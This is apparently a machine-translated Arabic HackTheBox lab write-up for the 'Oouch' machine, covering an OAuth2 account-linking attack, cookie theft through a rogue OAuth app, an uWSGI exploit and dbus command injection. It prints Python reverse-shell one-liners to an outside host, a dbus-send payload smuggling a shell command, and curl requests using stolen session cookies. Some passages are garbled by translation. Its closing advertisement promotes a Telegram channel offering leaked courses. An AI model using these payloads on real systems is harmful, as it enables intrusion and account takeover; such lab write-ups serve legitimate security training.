هاكذا بوكس. تجول Oouch. OAuth2 و RCE إلى uWSGI و LPE عبر DBUS



أستمر في نشر الحلول المرسلة لإنهاء الأجهزة من منصة HackTheBox .



في هذه المقالة ، سنقوم بتحليل الهجوم على مصادقة OAuth2 ، وكذلك تسجيل تطبيقنا لاختطاف ملفات تعريف الارتباط الخاصة بالمسؤول. بالإضافة إلى ذلك ، سنقوم بتشغيل RCE في خادم الويب وخادم تطبيق الويب uWSGI ، وكذلك رفع الامتيازات من خلال ناقل رسائل D-Bus.



الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من كمبيوتر العمل أو من مضيف توجد به بيانات مهمة بالنسبة لك ، حيث تجد نفسك في شبكة خاصة مع أشخاص يعرفون شيئًا عن أمن المعلومات.



المعلومات التنظيمية
, , Telegram . , , .



. , - , .



ريكون



يحتوي هذا الجهاز على عنوان IP هو 10.10.10.177 ، والذي أقوم بإضافته إلى / etc / hosts.



10.10.10.177 	oouch.htb


الخطوة الأولى هي فحص المنافذ المفتوحة. نظرًا لأن مسح جميع المنافذ باستخدام nmap يستغرق وقتًا طويلاً ، فسوف أقوم بذلك أولاً باستخدام masscan. نقوم بفحص جميع منافذ TCP و UDP من واجهة tun0 بمعدل 500 حزمة في الثانية.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182      --rate=500






الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، قم بإجراء فحص باستخدام الخيار -A.



nmap -A oouch.htb -p8000,22,21,5000,5555






وهكذا لدينا:



  • المنفذ 22 هو SSH.
  • المنفذ 8000 هو خادم الويب يستجيب برمز 400.
  • المنفذ 5000 - خادم الويب ، أعد التوجيه إلى صفحة التفويض.
  • المنفذ 21 - FTP ، حيث يوجد ملف project.txt ، يمكن الوصول إليه بترخيص من مجهول.


انتقل إلى FTP كمجهول ، وقم بتنزيل الملف وشاهد.











لا تخبرنا بشيء. نذهب إلى خادم الويب.







كما يلي من تقرير nmap ، تحدث إعادة توجيه إلى صفحة التفويض. هناك إمكانية للتسجيل ، دعنا نسجل ثم نسجل الدخول.















وبالتالي ، فإن الموقع قيد التطوير ، ويخزن الحد الأدنى من المعلومات حول المستخدمين ، ولديه القدرة على تخزين المستندات (هذا الخيار متاح فقط للمطور) ، ولديه أيضًا تعليقات من الإدارات. نحن على ثقة من أن مسؤول النظام يقرأ جميع الرسائل.



عند محاولة سرقة ملفات تعريف الارتباط ، تم حظر العلامة (بالمناسبة ، لم تعد محظورة).







لم يتم العثور على أي ناقل ، تقرر مسح الدلائل.



dirb http://oouch.htb:5000/






ونجد دليل واحد مخفي oauth.







دعنا نضيف هذا المجال إلى / etc / hosts.



10.10.10.177    consumer.oouch.htb






ولكن هناك إعادة توجيه. دعنا نضيف هذا المجال إلى / etc / hosts.



10.10.10.177    authorization.oouch.htb






مرة أخرى يلتقي صفحة تسجيل الدخول. نقوم بتسجيل الدخول بنفس بيانات الاعتماد. ولكن بمحاولة جديدة ، تم نقلنا إلى المنفذ 8000.



Consumer.oouch.htb : 5000 / oauth / connect -> authorization.oouch.htb : 8000 / تسجيل الدخول /







بعد مسح الدلائل على الفور ، لا نجد أي شيء مثير للاهتمام ، لذلك نسجل هنا أيضًا.







والعثور على دليل جديد لم يعثر عليه dirb. دعونا نبحث فيه.



dirb http://authorization.oouch.htb:8000/oauth






يوجد دليل آخر! ولكن هناك تقابلنا مصادقة HTTP.







نحن نفعل ذلك في هذا الدليل أيضًا.



dirb http://authorization.oouch.htb:8000/oauth/applications/






توجد معظم التطبيقات المحتملة في هذا الدليل ، ويمكن تسجيلها. لا نجد شيئًا أكثر إثارة للاهتمام هنا.



بالتسجيل حيثما كان ذلك ضروريًا ، نعود إلى الاتصال الأصلي. يتم استخدام مصادقة OAuth.



مصادقة OAuth



OAuth هو بروتوكول تفويض مفتوح يسمح لك بتزويد طرف ثالث بوصول محدود إلى موارد المستخدم المحمية دون الحاجة إلى نقل معلومات تسجيل الدخول وكلمة المرور الخاصة بك إلى الطرف الثالث.



يستخدم OAuth ثلاثة أنواع من بيانات الاعتماد: بيانات اعتماد العميل ، وبيانات الاعتماد المؤقتة ، وبيانات اعتماد الرمز المميز.



خطوات بروتوكول OAuth 2.0:



  1. . (client ID), (client secret), URI (redirect URI) .
  2. , authorization grant.
  3. , .
  4. , , ( ). .
  5. .
  6. , .






بهذه الطريقة ، يرتبط حساب المستخدم بموارد محددة على خادم الموارد.



هجوم Oauth



يمكن مهاجمة هذا البروتوكول ، مما يسمح لنا بربط حسابنا بموارد مستخدم آخر. للقيام بذلك ، لا تحتاج إلى استخدام رمز الوصول لمرة واحدة ، ولكن عليك إجبار مستخدم آخر على نقله إلى الخادم. وبعد ذلك ، سيتم ربط الحساب الذي يمتلك الرمز المميز بموارد الحساب الذي قدمه.

نظرًا لأن مسؤول النظام يجيب على جميع الرسائل ، فمن الممكن أن يتبع الرابط الذي سنرسله إليه. بالإضافة إلى ذلك ، في هذا التطبيق ، لا يتم تمرير رمز الوصول في رأس HTTP (كما يجب أن يكون) ، ولكن في معلمة URL. بهذه الطريقة يمكننا تنفيذ هذا الهجوم.



انتقل إلى Consumer.oouch.htb : 5000 / oauth / connect والتقاطه باستخدام Burp Suite.







نحن نتخطى هذا الطلب ، ويتم إعادة توجيهنا ، ومع معلمة معرف العميل.







نتخطى هذا الطلب أيضًا. تتم إعادة التوجيه مرة أخرى ، حيث يمكننا ملاحظة المعلمات الأخرى لبروتوكول المصادقة.







تخطي الطلب مرة أخرى. تظهر نافذة ترخيص على الصفحة. للإنهاء ، انقر فوق زر التفويض.











نتخطى هذا الطلب. والآن يتم إعادة توجيهنا مرة أخرى ، برمز لمرة واحدة كمعامل!







لنحفظ هذا الرمز المميز ونتجاهل الطلب. دعنا نرسل هذا الرابط إلى المسؤول بحيث عندما يتابعه ، سيتم ربط حسابنا بموارده (وإذا كنت تتذكر ، فلديه الحق في تخزين المستندات).







الآن دعنا نذهب إلى Consumer.oouch.htb : 5000 / oauth / login.















نضغط على الزر المألوف بالفعل ، وفي الصفحة المفتوحة نلاحظ ملف تعريف المستخدم qtc.







دعونا نرى المستندات.







توجد سجلات حول مفتاح SSH ودليل المستخدم وبيانات اعتماد تسجيل التطبيقات.



نقطة الدخول



إذا تمكنا من تسجيل تطبيقنا ، فيمكننا إجبار المسؤول على الذهاب إليه ومعرفة ملفات تعريف الارتباط الخاصة به!



دعنا نعود إلى صفحة تسجيل التطبيق وتسجيل الدخول. وفي النموذج الذي يفتح ، سنقوم بتسجيل تطبيق جديد ، مع الإشارة إلى النوع العام للعميل ، ونوع رمز منح التفويض والإشارة إلى المنفذ المفتوح على المضيف المحلي للاتصال.







نحفظ معرف العميل وسر العميل. دعنا نحاول المصادقة على أنفسنا للتحقق من أن المصادقة تعمل وسيتم إعادة توجيه المستخدم إلينا.



دعنا نشكل رابطًا ، نحدد بيانات التطبيق المسجل في المعلمات المقابلة:



authorization.oouch.htb: 8000 / أوث / يأذن / CLIENT_ID = MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs وredirect_uri = HTTP: //10.10.14.203: 4321 وgrant_type = authorization_code وclient_secret = e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6



الآن متابعته لمعرفة الاتصال.







نظرًا لأن كل شيء يعمل ، فلنرسله إلى المسؤول.







هذه هي الطريقة التي نتعرف بها على ملفات تعريف الارتباط الخاصة بها. دعونا نطبقها.







وقمنا بتسجيل الدخول إلى الخادم باسم qtc.



المستعمل



للوصول إلى المورد ، نحتاج إلى رمز مميز ، ولكي يقوم الخادم بإعادته إلينا ، سنقوم بتغيير نوع منح التفويض إلى client_credentials.







وسنطلب الرمز المميز باستخدام curl: اضبط طريقة POST (-X) ، ورؤوس HTTP المطلوبة (-H) ، وملفات تعريف الارتباط ، والبيانات التي نريد إرسالها ، وكذلك السماح بإعادة التوجيه (-L). نظرًا لأن الرد يتم إرجاعه بتنسيق JSON ، فإننا نستخدم jq لعرض الاستجابة بشكل جيد.



curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H “Content-Type: application/x-www-form-urlencoded” --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" --data “grant_type=client_credentials&client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6” -L -s | jq






نتلقى رمزًا مميزًا. والآن يمكننا أن ننتقل إلى المورد الذي تم سرده في المستندات. لنفعل ذلك مع الضفيرة أيضًا.



curl "http://authorization.oouch.htb:8000/api/get_user.txt/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq






كما هو متوقع ، نتلقى معلومات حول المستخدم. لكنني لم أعرف ماذا أفعل بعد ذلك! جاء التخمين فقط عندما ألمحوا لي بأن "واجهة برمجة التطبيقات للحصول على بيانات المستخدم جاهزة ، ولكن هناك خطط للحصول على مفتاح SSH". ثم اعتقدت أنه ، عن طريق القياس مع واجهة برمجة تطبيقات get_user ، للحصول على معلومات حول المستخدم ، يجب أن أحاول الاتصال بـ get_ssh.



curl "http://authorization.oouch.htb:8000/api/get_ssh/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csr
ftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq






ونحصل على مفتاح مستخدم qtc. بعد إحضاره إلى شكله الطبيعي ، نتصل بالمضيف ونأخذ المستخدم.







جذر



للتسجيل على المضيف ، قم بتشغيل LinPEAS. نتيجة لذلك ، نجد ملاحظة خلفها الجذر.











وإلى جانب حقيقة أن عامل الإرساء يعمل على المضيف ومفتاح ssh الخاص ، فإننا لا نجد أي شيء.







من المرجح أن يكون ناقل الهجوم هو الذهاب إلى عامل الميناء. بالإضافة إلى ذلك ، تذكر الملاحظة DBus و iptables. الجميع يعرف بالفعل عن iptables ، لكن DBus مسألة أخرى. Dbus أو Desktop Bus هو نظام يُستخدم بشكل أساسي في نظام التشغيل Linux لتمكين التطبيقات والخدمات المختلفة من التواصل مع بعضها البعض.



دعنا نلقي نظرة على واجهات الشبكة الموجودة.







ونرى مضيفين. تمكنا من دخول أول واحد.







والعثور على الدليل / الكود.







في start.sh نجد استخدام uwsgi.







وفي path.py نجد استخدام dbus.











وبالتالي ، يحق لمستخدم الخدمة استخدام dbus. هذا هو ، نحن بحاجة إلى الحصول على قذيفة.



uWSGI هو خادم ويب وخادم تطبيق ويب تم تنفيذهما في الأصل لتشغيل تطبيقات Python عبر بروتوكول WSGI. تستخدم لتشغيل التطبيقات على أساس أطر Django و Flask وغيرها. دعونا نبحث عن مآثر.







قم بتنزيل الإصدار الأول وقم بتحميله على المضيف.



scp -i .ssh/id_rsa uwsgi-exp.py 172.18.0.5:~/


لنبدأ.







وبالتالي ، نحن بحاجة إلى مقبس uwsgi. علاوة على ذلك ، الخدمة قيد التشغيل حاليًا.







هذا يعني أن المقبس سيكون أيضًا في دليل tmp.







لنقم بتشغيل الاستغلال بكل المعلمات.







يعطي خطأ عند استيراد البايت ، دعنا ندخل ونغير كود المصدر.











إذا قمت بتشغيل الاستغلال مرة أخرى ، فسوف ينجح ، لكنه لن ينجح. لقد استبدلت قذيفة bash بـ python. انها عملت.



python uwsgi-exp.py -m unix -u /tmp/uwsgi.socket -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"






في المحطة مع netcat نرى الاتصال.







والآن لدينا حقوق تشغيل dbus. يتم استخدام الأمر dbus-send لإرسال رسالة إلى ناقل رسائل D-Bus. هناك نوعان من حواجز الرسائل المعروفة: ناقل الرسائل على مستوى النظام وحافلة الرسائل لجلسة تسجيل دخول المستخدم. لاستخدام dbus-send ، تحتاج إلى معرفة "اسم الاتصال" المحدد في المعلمة --dest. يجب دائمًا تحديد المسار إلى الكائن واسم الرسالة المراد إرسالها. الوسيطات التالية ، إن وجدت ، هي محتوى الرسالة (وسيطات الرسالة). يتم إعطاؤهم كاسم النوع والنقطتين ثم قيمة الوسيطة. أسماء الأنواع الممكنة: string ، int32 ، uint32 ، double ، byte ، boolean.



أمر مثال:



dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block “string:; SHELL”


نستخدم - print-reply لمنع الرد على الطلب.



dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block "string:;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",6543));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"






ونرى اتصالاً ناجحًا.







يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ودورات مسربة وبرامج. دعنا نجمع مجتمعًا ، حيث سيكون هناك أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي مشكلات تتعلق بتكنولوجيا المعلومات وأمن المعلومات.



All Articles